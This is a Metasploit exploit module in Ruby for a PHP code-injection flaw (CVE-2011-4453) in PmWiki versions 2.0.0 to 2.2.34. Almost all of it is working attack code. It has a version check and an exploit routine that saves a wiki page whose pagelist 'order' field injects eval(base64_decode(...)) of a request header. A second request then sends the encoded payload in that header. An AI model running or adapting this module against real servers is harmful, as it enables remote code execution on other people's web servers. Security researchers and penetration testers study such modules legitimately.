103 lines
2.7 KiB
Ruby
103 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'PmWiki pagelist.php Remote PHP Code Injection Exploit',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability
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in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
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inside /scripts/pagelist.php.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'EgiX', # Vulnerability discovery and exploit
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'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
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],
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'References' =>
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[
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['CVE', '2011-4453'],
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['BID', '50776'],
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['OSVDB', '77261'],
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['EDB', '18149'],
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['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Keys' => ['php'],
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'Space' => 4000,
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'DisableNops' => true,
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Nov 09 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
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],self.class)
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end
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def check
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uri = normalize_uri(datastore['URI'])
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uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'
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res = send_request_raw(
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{
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'uri' => uri
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}, 25)
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if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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p = Rex::Text.encode_base64(payload.encoded)
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header = rand_text_alpha_upper(3)
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header_append = rand_text_alpha_upper(4)
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uri = normalize_uri(datastore['URI'], "pmwiki.php")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'action' => 'edit',
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'post' => 'save',
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'n' => "#{header}.#{header_append}",
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'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
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}
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}, 25)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'headers' =>
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{
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header => p,
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'Connection' => 'Close',
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},
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'vars_post' =>
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{
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'n' => "#{header}.#{header_append}",
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}
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}, 25)
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end
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end
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